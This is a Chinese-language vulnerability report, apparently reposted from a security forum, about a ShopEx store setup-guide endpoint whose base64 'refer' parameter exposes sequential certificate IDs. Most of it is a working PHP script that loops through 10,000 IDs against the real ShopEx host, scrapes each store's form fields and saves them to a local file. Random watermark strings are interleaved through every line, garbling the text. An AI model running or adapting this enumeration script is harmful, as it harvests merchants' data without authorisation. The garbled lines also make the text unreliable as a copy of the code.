|
|
简要描述:
* V- i# J; Y/ G& \ShopEx某接口缺陷,可遍历所有网站
5 q% {% m' V! x7 a3 W4 J1 A) J详细说明:. m5 k9 p3 n$ n
问题出现在shopex 网店使用向导页面 ; D8 K: s3 ]" A6 F% o& y
* ?, S+ n6 s9 P2 P) k
: b6 s9 n0 K, j
0 L; [! }- ^( ?5 W: _http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=- R/ w. u2 U. c7 \0 m7 m3 B3 R5 R
0 _/ ~$ J: e6 S$ f- s8 p
! { \8 i6 m5 i, F x9 z) I) F8 |
8 q3 {( h A' B& Irefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
. W- X* A" P6 x2 D5 y1 N# |% T9 i$ C6 `4 \! M
# @( j: a# {' k% C( X7 D* ~5 C+ z/ s( I8 G4 h0 q K
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
# e* T; b1 N k" S
. x. ^' d+ g8 C0 u% w7 T T
0 }& k& |0 }' t/ x7 M. d! I
% I4 C5 M6 e5 }" s( S _: c3 U# }<?php; l( W |: m' p
$ J7 e1 i) T% U( o( X+ \ for ($i=1; $i < 10000; $i++) { //遍历
J: V0 t0 G1 O% P: X) b& T
6 X/ ]! N" `' z( P" x ShowshopExD($i);
. `+ E C# F0 v3 h+ n3 ]% R, R8 A& f$ x4 D, k) g
}
" l7 A. w: j; F) f1 \: W! Y
/ G1 P* \$ ~6 ]* \2 Z3 o( m function ShowshopExD($cid) {
, w; P# N) I5 I1 g7 |' ] l- l
$url='http://guide.ecos.shopex.cn/step2.php';, |! V# B: G. j3 ~3 s; _9 x
- k0 e' P+ O! r& G5 c: ~1 g
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
c& @3 |2 J, {8 d
8 Y5 k" C {6 P/ M1 X% p $url = $url.'?refer='.$refer;) R+ F4 [, t" j/ K
+ E& ~/ u: @- r: |& \% H $ch = curl_init($url);
$ @% f8 C& q, w+ W/ ^( |
V1 m4 E( p8 d' D7 m curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;2 h+ W( }+ c* s: m3 D
. O. g% P) V2 _; J3 I) \ curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
3 R$ }0 s& |. d6 z5 [
. C: K" T, e5 R# W2 g, b $result = curl_exec($ch);0 ?' {! A4 A7 ^# C- L
) n$ f: X/ Y6 |: R. T4 @
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
) w9 q4 C: V( u" y! j/ u
2 J! K- k5 H& ?4 O( B if(strpos($result,$refer))
* R* f% U' T) G. l: D0 Q* y
$ k/ m/ I* G' }1 | {% F( X; Y4 z5 E( c# x) y" x n
! O; P* o" B l4 N/ m $fp = fopen("c:/shopEx.txt",'ab'); //保存文件' [3 w$ [5 R7 _8 U% k$ C
# `, b; p) p" y& c& F9 N) ~- V preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);: i! R5 ^5 R& D: E5 ^: o( }0 ^
9 u1 F/ `4 L' v8 G
foreach ($value[1] as $key) {
3 F( T* m& D6 @* Z/ S: V& p
5 D" k7 ^. Y9 I6 Y$ z preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);, g6 x1 k- X9 l2 S+ }
% F4 N. [1 o+ x7 U( [ echo $res[1][0].':'.$res[3][0]."\r\n";
0 z* [) g6 j8 k. v O0 t. }8 V; |& j1 k- Z& K% } V: K2 @* v
$col =$res[1][0].':'.$res[3][0]."\r\n"; . l: L9 s( q" n0 `6 m
% Y# P2 i& p' K
fwrite($fp, $col, strlen($col));
# ^% Q: }2 ]1 I( m. G. I* s' E3 ]" K1 S) e
}
2 x: W/ p( y5 I
" q* i# m; O, h: X9 E3 c7 z echo '--------------------------------'."\r\n";3 X+ \- @! g9 D! g% s) K4 {
, {% n* b/ c$ k8 T
fclose($fp); " _& P/ _* [ n0 r
: n3 |5 [% a, x: V9 q1 } e, { }% y k. [3 ^8 d" m7 A! |; H
! r, S6 W4 a; P, G5 A2 E
flush();
5 r$ U7 ?: }: K: | ?9 p, B H9 ^; E
curl_close($ch);2 h- X9 h. o( ~$ r: Q
0 P6 h' v7 s+ l }
p; x y* B6 w9 R! o: f+ b7 M/ Y) N* g. n( r" [
?>+ `! w/ X2 }: ]
漏洞证明:
! U! E. u* l0 ]* H; ^http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
6 j( f4 E& m& Z& P$ }' M3 X" P5 Frefer换成其他加密方式
9 @* d7 G3 m* d6 j J |
|